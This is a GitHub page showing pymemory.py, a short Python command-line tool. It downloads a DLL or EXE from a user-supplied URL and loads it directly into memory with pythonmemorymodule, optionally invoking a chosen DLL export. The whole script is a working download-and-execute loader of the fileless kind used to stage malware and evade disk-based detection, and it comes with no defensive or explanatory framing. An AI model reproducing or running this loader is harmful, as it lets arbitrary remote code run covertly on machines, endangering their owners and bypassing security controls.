-
Notifications
You must be signed in to change notification settings - Fork 1
/
pymemory.py
36 lines (29 loc) · 1.12 KB
/
pymemory.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import urllib.request
import ctypes
import pythonmemorymodule
import argparse
parser = argparse.ArgumentParser(description="Load a DLL or EXE from a URL into memory")
# Add the arguments
parser.add_argument('Url', metavar='url', type=str, help='the URL to download the DLL or EXE from')
parser.add_argument('Type', metavar='type', type=str, help='the file type (dll or exe)')
parser.add_argument('--Method', metavar='method', type=str, help='the method to call if it\'s a DLL')
# Parse the arguments
args = parser.parse_args()
url = args.Url
file_type = args.Type.lower()
method = args.Method # Get the URL from command line arguments
request = urllib.request.Request(url)
result = urllib.request.urlopen(request)
buf = result.read()
if file_type == 'dll':
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
if method:
startDll = dll.get_proc_addr(method)
assert startDll(), f"Failed to execute '{method}' procedure"
elif file_type == 'exe':
exe = pythonmemorymodule.MemoryModule(data=buf, debug=True)
else:
print(f"Unknown file type: {file_type}")
sys.exit(1)
#dll.free_library()